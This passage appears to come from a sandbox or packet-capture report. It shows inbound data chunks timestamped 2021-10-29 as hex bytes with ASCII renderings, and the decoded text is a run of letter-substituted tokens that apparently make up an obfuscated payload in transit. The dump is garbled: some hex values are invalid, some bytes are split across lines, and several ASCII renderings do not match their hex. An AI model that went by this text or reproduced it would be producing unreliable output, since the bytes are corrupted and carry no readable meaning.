45 78 20 Af 6f 20 Af 4f 4b 20 4f 4f 74 20 4f 78 6b 20 6b 6b 20 4f 45 6b 20 4b 6b 20 59 78 20 52 78 20 4f 45 6f 20 4f 6f 52 20
Af Af 74 20 4f 78 51 20 4f 4f 4b 20 6f 52 20 4f 45 52 20 59 78 20 59 4b 20 51 4b 20 51 78 20 6f 78 4b 20 4f 78 51 20 4f 4f 6f
20 59 52 20 6f 4b 20 4f 45 52
Data Ascii: EK Yx YK QK 0Q OQK OxQ OO0 YR oK OEQ YY kK OOR OOE RQ OYx Yx Kk Yo Ex oot OOY OOt Oxt Qx
EE x Ro YK OQK OOK OO0t OxQ 000 Yx Kk Yx Yx Ko OOt OOR OxQ OOR EO ox ER oEx Oo OOK OOt Oxk kk OEk Kk
Yx Rx OEo OoR OOt OxQ OOK oR OER Yx YK QK Qx oxK OxQ OO0 YR oK OER

2021-10-29 18:30:02 UTC 1697 IN Data Raw: 6b 20 59 51 20 6f 6f 52 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 45 59 20 59 6f 20 51 45 20 6f 4b 78 20 6b 4b 20 4f
Af 4b 20 4f 6f 74 20 4f 4f 4f 20 4f 4f 6b 20 51 45 20 4f 78 20 59 78 20 59 4b 20 6b 6f 20 6b 74 20 4f 78 51 20 51 4b 20 4f 6f
78 20 4b 6b 20 59 4f 20 59 4b 20 45 78 20 4f 6f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 4f 78 59 20 4f 20 59 4b 20 52 59 20
4f 59 74 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 6f 45 20 51 78 20 59 78 20 4b 6b 20 59 4f 20 4b 6f 20 6b 4b 20 4f 4f 4b 20 4f 4f
51 20 4f 78 51 20 51 74 20 59 78 20 4b 4b 20 45 4f 20 59 4b 20 51 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4b
6b 20 4b 6b 20 4f 4f 52 20 59 4b 20 74 6f 20 4f 52 20 4f 4f 74 20 51 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4f 74 52
20 6b 52 20 51 78 20 4f 74 4f
Data Ascii: k YQ 0oR OOR OxQ OOk EY Yo QE oKx kk OOK Oot OO0 OOk QE Ox Yx YK ko kt OxQ QK Oox Kk YO YK
Ex Oo OOK OOt Oxt OxY O YK RY OYt kk OOK Oot 0E Qx Yx Kk YO Ko kk OOK 00Q OxQ Qt Yx KK EO YK Qx OOK
OO0t OxQ 000 Kk Kk OOR YK to OR OOt QQ OO0 Yx Kk Yx OtR kR Qx OtO

2021-10-29 18:30:02 UTC 1698 IN Data Raw: 51 20 4f 6 6f 20 59 6f 20 59 4f 20 51 45 20 6b 4f 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 52 51 20 4f 6f 59 20 59 78
20 4b 6b 20 59 6f 20 6b 51 20 4f 59 74 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 4f 4b 20 59 6f 20 51 59 20 74 20 59 4b 20
6b 4b 20 4f 4f 52 20 6b 78 20 4f 4f 74 20 52 74 20 59 6b 20 59 78 20 4b 51 20 59 78 20 4f 6f 4b 20 4f 6b 20 4f 4f 74 20 4f
78 51 20 4f 4f 6b 20 4b 45 20 45 20 59 6f 20 52 51 20 6f 59 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 4f 78 20 6f 4b 20 4f
4b 6f 20 4b 51 20 6b 51 20 74 20 4f 4f 59 20 4f 4f 74 20 4f 78 74 20 51 6f 20 6f 78 20 59 78 20 4b 51 20 6b 51 20 59 59 20
4f 4F 59 20 4f 4f 74 20 4f 78 74 20 6b 6b 20 4f 6b 51 20 4b 6b 20 59 78 20 4b 6b 20 59 51 20 4b 6b 20 4f 4f 74 20 4f 78 51
20 4f 4f 6b 20 6f 45 20 4b 78 20 4f
Data Ascii: Q 000 Yo YO QE kO kY OOK OOY RQ OoY Yx Kk Yo kQ OYt OOK 0Ot OXE OOK Yo QY t YK kK OOR kx
0Ot Rt Yk Yx KQ Yx OoK Ok OOt OxQ OOk KE E Yo RQ 0YY OOK OOt OXE Ox oK OKo KQ kQ t 0OY OOt Oxt Qo ox
Yx KQ kQ YY OOY 0Ot Oxt kk OkQ Kk Yx Kk YQ Kk OOt OxQ OOk oE Kx O

2021-10-29 18:30:02 UTC 1700 IN Data Raw: 20 4b 6b 20 59 78 20 4b 6b 20 59 51 20 74 74 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 78 20 59 78 20 45 74 20
Af 6b 74 20 4f 6f 74 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 6b 59 20 45 52 20 52 74 20 4f 59 59 20 59 4b 20 6b 4b 20 4f 4f 52
20 6f 4f 59 20 52 51 20 6f 59 45 20 59 78 20 4b 6b 20 59 6f 20 6b 51 20 6f 4f 20 4f 4f 4b 20 4f 4f 74 20 4f 78 74 20 6b 52
20 6f 4b 20 4b 6b 20 59 78 20 59 4b 20 74 4f 20 52 52 20 4f 4f 6f 20 4f 78 51 20 4f 51 6f 20 59 4f 20 4b 6b 20 59 78 20 4f
51 20 6b 4b 20 4f 4f 4b 20 4f 78 78 20 4f 4f 4f 20 6b 6b 20 4f 6b 4b 20 4b 6b 20 59 78 20 4b 6b 20 45 51 20 4f 4f 51 20 4f
4f 51 20 4f 78 51 20 4f 4f 6b 20 59 52 20 4b 74 20 52 4f 20 4f 6b 74 20 51 78 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 6b 59 20
45 52 20 45 52 20 6f 78 4b 20 4b
Data Ascii: Kk Yx Kk YQ tt OOt OxQ OOk ox Yx Et Okt Oot OOK OOt OO0 kY ER Rt OYY YK kK OOR 00Y RQ oYE Yx
Kk Yo kQ 00 OOK OOt Oxt kR oK Kk Yx YK tO RR OO0 OxQ OQo YO Kk Yx OQ kK OOK Oxx OO0 kk OkK Kk Yx Kk
EQ O0Q O0Q OxQ OOk YR Kt RO Okt Qx OOK OOt OO0 kY ER ER oxK K

2021-10-29 18:30:02 UTC 1701 IN Data Raw: 4b 20 6b 4b 20 4f 4f 52 20 6f 4f 59 20 52 51 20 6f 4b 6b 20 59 78 20 4b 6b 20 59 6f 20 4b 6b 20 45 51 20 6f 4f
4b 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 74 51 20 59 52 20 59 4f 20 59 4b 20 6b 78 20 51 78 20 6f 4b 78 20 4f 78 51 20 4f
4f 6f 20 59 6f 20 59 4b 20 6f 78 4b 20 4b 6b 20 6b 6f 20 4f 4f 6f 20 4f 4f 74 20 4f 78 74 20 45 20 4f 59 4f 20 4b 6b 20 59 78
20 52 78 20 4f 6f 4b 20 51 6b 20 4f 4f 74 20 4f 78 51 20 51 4f 20 6f 52 20 45 45 20 59 78 20 59 4b 20 4f 6f 74 20 51 78 20
6f 4b 45 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 6f 4b 20 4f 6b 4f 20 59 4b 20 6b 4b 20 4f 4f 52 20 4f 4f 59 20 4f 4b 74 20 4f 4f 6
b 20 59 45 20 59 78 20 59 78 20 4b 6b 20 45 51 20 6f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 6f 52 20 45 6f 20 59 78
20 59 4b 20 4f 6f 74 20 51 78 20
Data Ascii: K kK OOR 00Y RQ oKk Yx Kk Yo Kk EQ 0OK OOt OxQ Ooo tQ YR YO YK kx Qx oKx OxQ OO0 Yo YK oxK
Kk ko OO0 OOt Oxt E OYO Kk Yx Rx OoK Qk OOt OxQ QO oR EE Yx YK Oot Qx oKE OxQ OOo Yo oK OkO YK kK OOR
OO0Y OKt OOk YE Yx Yx Kk EQ 0OY OOt OxQ Ooo0 oR Eo Yx YK Oot Qx

2021-10-29 18:30:02 UTC 1702 IN Data Raw: 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 6f 4f 52 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f
2059 78 20 4f 51 74 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 6f 6f 20 4b 6b 20 59 78
20 59 59 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 59 4b 20 59 78 20 4b 6b 20 59 78 20 52 4f 20 6b 4b 20 4f 4f 4b
20 4f 4f 74 20 4f 59 59 20 4f 4f 6f 20 59 78 20 4b 6b 20 4b 51 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 6f 6f 20 4f 78 51 20 4f 4f
6f 20 59 4f 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 4b 74 20 4b 51 20 59 78
20 59 4b 20 74 45 20 4f 4f 59 20 4f 4f 74 20 4f 78 51 20 4f 4f 45 20 59 78 20 4b 6b 20 59 78 20 4f 6b 20 6b 4b 20 4f 4f 4b
20 4f 4f 52 20 4f 78 51 20 4f 4f
Data Ascii: xQ OO0 Yx Kk 00R YK kK OOK OoR OxQ OO0 Yx OQt Yx YK kk OOY OOt OxQ 000 00 Kk Yx YY kK OOK
OO0t OxQ OYK Yx Kk Yx RO kk OOK OOt OYY OO0 Yx Kk KQ YK kk OOK Ooo OxQ OO0 YO Kk Yx YK kk OOK OOt O
xQ 000 Kt KQ Yx YK tE OOY OOt OxQ OOE Yx Kk Yx Ok kk OOK OOR OxQ OO

2021-10-29 18:30:02 UTC 1704 IN Data Raw: 20 4f 4f 59 20 74 4f 20 6f 4b 52 20 59 4b 20 6f 4b 20 4f 45 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 52 20 6f 4f 51
20 4f 4f 6f 20 59 78 20 59 6b 20 51 45 20 4f 6f 51 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 6f 78 4f 20 59 4f 20 4b 6b
20 59 6f 20 59 78 20 4f 6f 4b 20 4f 4b 6b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 52 20 4f 45 59 20 59 4f 20 59 4b 20 6b 6f
20 6b 6b 20 4f 78 6f 20 51 45 20 4f 6f 4b 20 59 78 20 4f 52 52 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78
51 20 4f 4f 6f 20 59 4b 20 74 6b 20 59 52 20 59 59 20 6b 4b 20 4f 4f 6b 20 6b 6b 20 74 45 20 4f 78 6f 20 6f 6f 52 20 4f 78 4
b 20 59 78 20 59 4b 20 6b 59 20 51 78 20 6f 78 59 20 4f 78 51 20 4f 4f 6 20 59 52 20 6f 6f 4b 20 52 45 20 59 4b 20 6b 4b
20 4f 4f 6f 20 51 45 20 6f 4f 45
Data Ascii: OOY tO oKR YK oK OEY YK kK Oox oR 00Q OO0 Yx Yk QE O0Q kK OOK Oot RQ 0xO YO Kk Yo Yx OoK
OKk OOt OxQ OOk oR OEY YO YK ko kk Oxo QE OoK Yx ORR Yx YK kk OOK OOt OxQ OO0 YK tk YR YY kK OOk kk
tE Ox0 00R OxK Yx YK kY Qx oxY OxQ OOo YR 0oK RE YK kK OOo QE oOE

2021-10-29 18:30:02 UTC 1705 IN Data Raw: 6f 52 20 59 4f 20 4b 6b 20 59 6f 20 45 51 20 6b 78 20 51 78 20 4f 4b 4b 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 51
59 20 4f 52 6f 20 59 59 20 6b 4b 20 4f 4f 52 20 4f 78 78 20 4f 78 59 20 45 4f 20 6f 4b 4b 20 4b 6b 20 59 78 20 52 78 20 6b
78 20 51 78 20 6f 78 4f 20 4f 78 6b 20 4f 4f 6f 20 59 6f 20 59 4b 20 51 45 20 52 74 20 6b 59 20 4f 4f 4b 20 4f 4f 59 20 74 4f
20 4f 4f 6f 20 59 78 20 4b 51 20 4b 52 20 59 4b 20 6b 4b 20 4f 4f 6f 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 6f 20 4b 52 20 6f 51 20
59 78 20 59 52 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 4b 20 59 78 20 4f 4f 6b 20 59 78 20 4b 6f 20 59 4b 20 4
f 4f 4b 20 4f 6f 45 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 4f 4f 52 20 59 78 20 4f 6f 4b 20 6f 78 52 20 4f 4f 52 20 4f 78
51 20 4f 4f 6b 20 6f 52 20
Data Ascii: oR YO Kk Yo EQ kx Qx OKK OxQ OO0 Yo QY ORo YY kK OOR Oxx OxY EO oKK Kk Yx Rx kx Qx oxO Oxk
000 Yo YK QE Rt kY OOK OOY tO 000 Yx KQ KR YK kk OO0 OOt OoK 000 KR 0Q Yx YR kK OOK OOt OxQ OOK Yx
OOk Yx Ko YK OOK OoE OxQ OO0 Yx Kk OOR Yx OoK oxR OOR OxQ OOk oR
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:30:02 UTC 1706 IN Data Raw: 4f 4f 59 20 51 45 20 6b 59 20 59 4f 20 59 4b 20 6b 6f 20 6f 51 20 6f 6f 59 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 4b
78 20 4f 51 4f 20 6f 51 20 6b 4b 20 4f 4f 4b 20 4f 4f 51 20 74 6f 20 4f 78 6f 20 52 59 20 4f 52 45 20 59 78 20 59 4b 20 6b 6f
20 6f 78 6b 20 6b 78 20 4f 6f 6f 20 4f 4f 6b 20 4f 4b 4b 20 6f 4b 20 4f 51 4f 20 59 4b 20 6b 4b 20 4f 4f 52 20 4f 6f 52 20 4f
78 52 20 4f 4f 59 20 51 45 20 6b 51 20 59 4f 20 59 4b 20 6b 6f 20 51 78 20 6f 4b 51 20 4f 78 51 20 4f 4f 6f 20 59 6f 20 51 5
9 20 6f 4b 6b 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 4f 45 20 52 51 20 6f 78 4b 20 59 4f 20 4b 6b 20 59 6f 20 4b 51 20 59 51
20 6f 4b 45 20 4f 4f 52 20 4f 78 51 20 4f 4f 6b 20 6f 4b 20 4f 52 52 20 4b 51 20 6b 51 20 59 45 20 4f 4f 59 20 4f 4f 74 20 4f
78 74 20 51 6f 20 4b 52 20
Data Ascii: OOY QE kY YO YK ko 0Q ooY OxQ OOo Yo Kx OQO 0Q kK OOK OOQ to Oxo RY ORE Yx YK ko oxk kx Ooo
OOk OKK oK OQO YK kK OOR OoR OxR OOY QE kQ YO YK ko Qx 0KQ OxQ OO0 Yo QY oKk YK kK Oox OOE RQ oxK
YO Kk Yo KQ YQ oKE OOR OxQ OOk oK ORR KQ kQ YE OOY OOt Oxt Qo KR

2021-10-29 18:30:02 UTC 1710 IN Data Raw: 20 59 51 20 51 59 20 6f 45 20 59 4b 20 6b 4b 20 4f 6f 78 20 6b 51 20 4f 78 4b 20 4f 78 45 20 45 45 20 59 4b 20
6f 59 20 52 45 20 74 78 20 4f 6f 6f 20 51 45 20 6b 6b 20 4f 4f 6f 20 59 78 20 59 6b 20 45 4f 20 6f 45 6f 20 4f 45 6b 20 4f 6f
4b 20 4f 78 45 20 4f 78 4f 20 4f 4b 6f 20 45 52 20 59 52 20 59 78 20 59 4b 20 74 51 20 6f 51 20 4f 6f 52 20 4f 78 51 20 4f
4f 6f 20 59 52 20 6f 45 52 20 45 59 20 4b 6b 20 4f 4f 78 20 4f 74 52 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 45 45 20
59 59 20 52 51 20 4b 6b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 51 51 20 59 52 20 45 45 20 59 52 20 6b 51 20 4f 45 59 20 4f
Af 4b 20 4f 4f 74 20 4f 78 45 20 51 51 20 59 45 20 45 6b 20 45 45 20 52 4f 20 52 52 20 51 74 20 4f 6f 4f 20 74 78 20 59 74
20 45 59 20 59 51 20 45 4f 20 4f
Data Ascii: YQ QY oE YK kK Oox kQ OxK OxE EE YK oY RE tx Ooo QE kk OO0 Yx Yk EO oEo OEk OoK OXE OxO OKo
ER YR Yx YK tQ 0Q OoR OxQ OO0 YR oER EY Kk OOx OtR OOt OxQ OO0 Yx EE YY RQ Kk OOK OOt OXE QQ YR EE
YR kQ OEY OOK OOt OXE QQ YE Ek EE RO RR Qt 000 tx YtEY YQ EO O

2021-10-29 18:30:02 UTC 1715 IN Data Raw: 20 59 78 20 59 4b 20 6f 78 52 20 4f 4f 6f 20 4f 4f 74 20 4f 78 51 20 4f 74 51 20 4b 6b 20 4b 6b 20 59 78 20 59
45 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 51 6b 20 4f 4f 6f 20 59 78 20 4b 51 20 4b 6b 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78
Af 20 4f 78 51 20 4f 4f 6f 20 59 78 20 6f 4b 45 20 4b 6b 20 59 4b 20 6b 4b 20 4f 52 4f 20 4f 4f 51 20 4f 78 51 20 4f 4f 6f 20
59 52 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f Af 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 4b
6b 20 6b 4b 20 4f 4f 4b 20 Af 4f 74 20 4f 6b 78 20 4f 4f 4b 20 59 78 20 4b 6b 20 6f 45 74 20 59 6f 20 6b 4b 20 4f 4f 4b 20 4f
4f 6b 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 6b 20 59 78 20 59 4b 20 6b 59 20 4f 78 59 20 52 51 20 4f 78 59 20 4f 4f 6f 20
4f 6f 45 20 4b 51 20 59 78 20 59
Data Ascii: Yx YK 0xR OO0 OOt OxQ OtQ Kk Kk Yx YE kK OOK OOt Qk OO0 Yx KQ Kk YK kK OOK OxO OxQ OO0 Yx
oKE Kk YK kk ORO O0Q OxQ OO0 YR Kk Yx YK kk OOK OOt OxQ OO0 Yx Kk Yx Kk kk OOK OOt Okx OOK Yx Kk
oEt Yo kk OOK OOk OxQ OO0 Yx Yk Yx YK KY OxY RQ OxY OO0 OoE KQ Yx Y

2021-10-29 18:30:02 UTC 1716 IN Data Raw: 20 51 59 20 59 74 20 59 4b 20 6b 4b 20 4f 6f 78 20 4f 52 51 20 4f 6f 4b 20 4f 4f 74 20 45 4f 20 45 6f 20 59 45

20 45 51 20 6b 78 20 4f 4f 45 20 4f 4f 45 20 52 51 20 6f 6f 4b 20 59 78 20 4b 6b 20 59 6f 20 45 78 20 52 52 20 4f 4f 4b 20
Af 4f 74 20 74 78 20 4f 6f 45 20 59 51 20 51 59 20 52 6f 20 59 4b 20 6b 4b 20 4f 6f 78 20 6b 6b 20 6f 59 59 20 4f 74 4b 20
59 52 20 59 74 20 45 78 20 4b 6b 20 51 45 20 6f 51 20 4f 6f 52 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 45 52 20 6f 45 52 20
59 45 20 4f 4f 4b 20 4f 74 6f 20 4f 4f 74 20 4f 78 59 20 51 51 20 59 6b 20 45 6b 20 45 45 20 52 45 20 4f 6f 74 20 6b 45 20
4 78 78 20 4f 78 4f 20 51 74 20 59 51 20 4f 74 78 20 45 45 20 52 78 20 6b 45 20 4f 4f 6f 20 4f 78 78 20 4f 78 45 20 6b 6b
20 6f 45 45 20 4b 6b 20 59 78 20 52 78

Data Ascii: QY Yt YK kk Oox ORQ OoK OOt EO Eo YE EQ kx OOE OOE RQ 00K Yx Kk Yo Ex RR OOK OOt tx OoE YQ
QY Ro YK kK Oox kk oYY OtK YR Yt Ex Kk QE 0Q OoR OxQ OOo YR oER oER YE OOK Oto OOt OxY QQ Yk Ek EE RE
Oot kE Oxx OxO Qt YQ Otx EE Rx kKE OO0 Oxx OxE kk oEE Kk Yx Rx

2021-10-29 18:30:02 UTC 1720 IN Data Raw: 52 20 51 78 20 6b 4b 20 4f 78 51 20 4f 4f 6f 20 59 52 20 52 4f 20 74 52 20 4b 78 20 6b 4b 20 4f 4f 4b 20 4f 6f
74 20 4f 6f 52 20 4f 4f 52 20 74 52 20 4b 52 20 59 78 20 59 4b 20 51 4b 20 51 74 20 4f 4f 6f 20 4f 78 78 20 45 20 4f 52 20
4b 6b 20 59 78 20 52 78 20 4f 6f 4b 20 6b 4f 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 51 45 20 6f 78 20 59 78 20 59 4b 20 51
4b 20 51 74 20 4f 4f 45 20 4f 6f 4b 20 4f 4f 52 20 4b 59 20 52 45 20 4f 51 4f 20 4f 78 6b 20 6b 4b 20 4f 4f 4b 20 4f 4f 52 20
74 6f 20 4f 52 78 20 6f 4f 59 20 4b 6b 20 59 78 20 59 78 20 4f 6f 4b 20 52 51 20 4f 4f 74 20 4f 78 51 20 4f 6f 6f 20 52 59 2C
6b 20 59 78 20 59 4b 20 51 4b 20 6f 51 20 6b 78 20 4f 78 51 20 4f 4f 6f 20 59 52 20 6f 6b 20 4b 78 20 4b 78 20 6f 4f 74 20
4b 78 20 4f 4f 74 20 4f 78 51 20
Data Ascii: R Qx kK OxQ OO0 YR RO tR Kx kk OOK Oot OoR OOR tR KR Yx YK QK Qt OO0 Oxx E OR Kk Yx Rx OoK
kO OOt OxQ 000 QE ox Yx YK QK Qt OOE OoK OOR KY RE OQO Oxk kk OOK OOR to ORx 00Y Kk Yx Yx OoK RQ
OO0t OxQ 000 RY k Yx YK QK 0Q kx OxQ OO0 YR ok Kx Kx 00t Kx OOt OxQ

2021-10-29 18:30:02 UTC 1724 IN Data Raw: 78 51 20 4f 4f 6f 20 59 52 20 4f 78 20 6f 4f 45 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 78 52 20 4f 4f 51 20 6b 6b 20
51 52 20 4b 6b 20 59 78 20 52 78 20 74 59 20 4f 78 4f 20 6f 4b 6b 20 59 59 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 6f 45
78 20 4f 45 78 20 4f 4f 4b 20 4f 4f 74 20 4f 78 59 20 6b 6b 20 59 20 4b 6b 20 59 78 20 52 78 20 45 51 20 74 4b 20 4f 4f 74
20 4f 78 51 20 4f 6f 6f 20 6f 52 20 6f 74 20 59 78 20 59 4b 20 51 4b 20 51 74 20 4f 6f 59 20 4f 78 74 20 45 20 4f 51 51 20
4b 6b 20 59 78 20 4b 6b 20 74 4f 20 4f 4f 6b 20 4f 78 78 20 4f 78 59 20 51 6b 20 59 4f 20 6f 4b 20 6f 4f 51 20 59 4b 20 6b
4b 20 4f 6f 78 20 6f 52 20 4f 45 4f 20 4f 4f 6f 20 59 78 20 59 4b 20 45 59 20 59 78 20 52 74 20 6f 59 59 20 4b 74 20 4f 78 5
1 20 4f 4f 6f 20 59 4f 20 6f 4f 20
Data Ascii: xQ OO0 YR Ox 00E YK kK OOK OxR O0Q kk QR Kk Yx Rx tY OxO oKk YY OO0 Yx KQ oE oEx OEx OOK
OOt OxY kk Y Kk Yx Rx EQ tK OOt OxQ 000 oR ot Yx YK QK Qt OoY Oxt E OQQ Kk Yx Kk tO OOk Oxx OxY Qk YO oK
00Q YK kK Oox oR OEO OO0 Yx YK EY Yx Rt oYY Kt OxQ OO0 YO 0O

2021-10-29 18:30:02 UTC 1728 IN Data Raw: 4f 4b 20 4f 4f 59 20 74 6f 20 6f 20 74 78 20 59 74 20 59 78 20 74 78 20 4f 6f 4b 20 4f 74 20 4f 4f 74 20 4f 78 51
20 4f 6f 6f 20 52 4b 20 4f 6f 4f 20 59 52 20 59 4b 20 45 52 20 4f 6f 20 4f 78 74 20 4f 78 51 20 4f 4f 6f 20 59 52 20 51 59 20
4b 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 74 20 4f 6b 20 4f 6f 6f 20 59 78 20 52 4b 20 52 4b 20 4f 59 45 20 51 4b 20 4f 4f 4b
20 59 20 4f 51 20 4f 4f 78 20 59 78 20 4b 6b 20 59 52 20 45 78 20 74 59 20 4f 4f 4b 20 4f 4f 74 20 4f 78 45 20 6b 6b 20 4f
4f 20 4b 6b 20 59 78 20 52 78 20 59 51 20 4f 45 78 20 4f 4f 74 20 4f 78 51 20 4f 4f 6b 20 6f 45 20 52 52 20 4f 4b 4f 20 52
78 20 6b 4b 20 6f 20 74 20 4f 6f 52 20 4f 6f 45 20 59 78 20 52 4b 20 74 52 20 4b 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 52
51 20 4f 4f 4f 20 59 78 20 4b 6b
Data Ascii: OK OOY to o tx Yt Yx tx OoK Ot OOt OxQ Ooo RK 000 YR YK ER Oo Oxt OxQ OO0 YR QY KY YK kK Oox t
Ok 000 Yx RK RK OYE QK OOK Y OQ OOx Yx Kk YR Ex tY OOK OOt OXE kk OO Kk Yx Rx YQ OEx OOt OxQ OOk oE
RR OKO Rx kK o t OoR OoE Yx RK tR Kx kk OOK Oot RQ OO0 Yx Kk

2021-10-29 18:30:02 UTC 1732 IN Data Raw: 4f 6f 78 20 4f 78 78 20 51 6b 20 6f 59 59 20 6f 6b 20 4b 6b 20 59 78 20 59 6f 20 4b 74 20 6b 52 20 4f 4f 74 20
4f 78 51 20 4f 4f 52 20 51 4f 20 51 59 20 4f 51 6f 20 59 4b 20 6b 4b 20 4f 6f 78 20 6f 4f 59 20 6b 59 20 6f 6f 52 20 59 78 2C
4b 6b 20 59 78 20 59 6f 20 4b 74 20 4f 78 6f 20 4f 4f 74 20 4f 78 51 20 4f 4f 52 20 59 45 20 59 52 20 4f 78 52 20 4f 6b 59
20 4f 78 78 20 4f 4f 4b 20 4f 4f 74 20 4f 4f 4f 20 4f 4f 20 6f 74 20 4b 6b 20 59 78 20 59 78 20 52 51 20 4f 6f 59 20 4f 78 52
20 51 74 20 6f 59 45 20 4f 78 4b 20 4b 6b 20 59 78 20 59 59 20 4f 4f 45 20 4f 52 6f 20 4f 45 59 20 4f 78 51 20 4f 4f 6f 20 5
9 4b 20 6f 4b 20 59 20 59 4b 20 6b 4b 20 4f 6f 78 20 52 20 6b 59 20 4f 4f 6f 20 59 78 20 59 6b 20 6f 52 20 6b 6b 20 6b 4b
20 4f 4f 4b 20 4f 6f 74 20 4f 4f
Data Ascii: Oox Oxx Qk oYY ok Kk Yx Yo Kt kR OOt OxQ OOR QO QY OQo YK kK Oox 00Y kY ooR Yx Kk Yx Yo Kt Oxo
OO0t OxQ OOR YE YR OxR OkY Oxx OOK OOt OO0 OO ot Kk Yx Yx RQ OoY OxR Qt oYE OxK Kk Yx YY OOE ORo
OEY OxQ OO0 YK oK Y YK kK Oox R kY OO0 Yx Yk oR kk kk OOK Oot OO
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:30:02 UTC 1736 IN Data Raw: 4f 51 6f 20 59 4b 20 6b 4b 20 4f 4f 6b 20 51 45 20 51 78 20 4f 4f 6f 20 59 78 20 59 6b 20 52 59 20 4f 4b 20 6b
4b 20 4f 4f 4b 20 4f 6f 74 20 52 51 20 45 78 20 59 78 20 4b 6b 20 59 52 20 59 6f 20 4b 74 20 51 6b 20 4f 4f 74 20 4f 78 51
20 4f 4f 52 20 45 59 20 59 6b 20 45 59 20 59 51 20 4f 6f 20 51 51 20 4f 6f 45 20 4f 6f 45 20 6f 45 78 20 4f 78 52 20 45 45
2052 78 20 45 45 20 4f 51 4b 20 4b 6f 20 4f 78 78 20 51 51 20 4f 78 4b 20 4f 52 4b 20 4f 78 4b 20 45 59 20 59 52 20 74
74 20 6f 6f 6b 20 4b 59 20 4b 20 51 74 20 52 78 20 4b 6f 20 4f 52 4b 20 51 59 20 59 51 20 4f 6f 6b 20 4f 4f 74 20 4f 78 51
20 4f 6f 6f 20 74 51 20 6f 4b 20 59 78 20 59 4b 20 6b 78 20 74 4b 20 6f 45 59 20 4f 78 51 20 4f 4f 6f 20 59 78 20 59 78 20
74 45 20 59 74 20 6b 4b 20 4f 4f 4b 20 4f
Data Ascii: 0Qo YK kK OOk QE Qx OO0 Yx Yk RY OK kK OOK Oot RQ Ex Yx Kk YR Yo Kt Qk OOt OxQ OOR EY Yk EY
YQ Oo QQ OoE OoE oEx OxR EE Rx EE OQK Ko Oxx QQ OxK ORK OxK EY YR tt ook KY K Qt Rx Ko ORK QY YQ Ook
OO0t OxQ Oo0 tQ oK Yx YK kx tK oEY OxQ OO0 Yx Yx tE Yt kk OOK O

2021-10-29 18:30:02 UTC 1740 IN Data Raw: 4f 4f 4b 20 4f 4f 52 20 4f 4f 59 20 4f 4f 4b 20 6f 52 20 6b 6f 20 59 78 20 59 4b 20 51 4b 20 6b 6b 20 51 51 20 4f
4f 78 20 4f 78 4b 20 6f 78 4b 20 4b 51 20 6f 4b 20 59 4b 20 6b 4b 20 4f 78 59 20 52 51 20 4f 78 4b 20 4f 4f 6f 20 52 74 20
4b 6b 20 59 78 20 59 4b 20 4f 4f 4f 20 4f 4f 4b 20 4f 4f 74 20 4f 6f 4b 20 4f 4f 59 20 51 45 20 4f 59 45 20 59 4f 20 59 4b 20
6b 6f 20 4f 78 4f 20 6f 4b 6b 20 59 45 20 4f 4f 6f 20 59 78 20 4b 51 20 6f 45 20 45 6f 20 45 6b 20 4f 74 6f 20 4f 4f 4b 20 4f 7
851 20 78 20 4f 4b 4b 20 45 51 20 51 45 20 4f 6f 78 20 6b 4b 20 4f 4f 4b 20 4f 6f 74 20 4f 78 45 20 45 20 59 4f 20 4b 51
2059 78 20 52 78 20 6b 6f 20 4f 78 78 20 6f 45 51 20 4f 78 74 20 4f 78 45 20 4f 52 6b 20 6f 4b 20 6b 4f 20 59 4b 20 6b 4b
20 4f 6f 78 20 51 45 20 4f 4f
Data Ascii: OOK OOR OOY OOK oR ko Yx YK QK kk QQ OOx OxK oxK KQ oK YK kK OxY RQ OxK OOo Rt Kk Yx YK
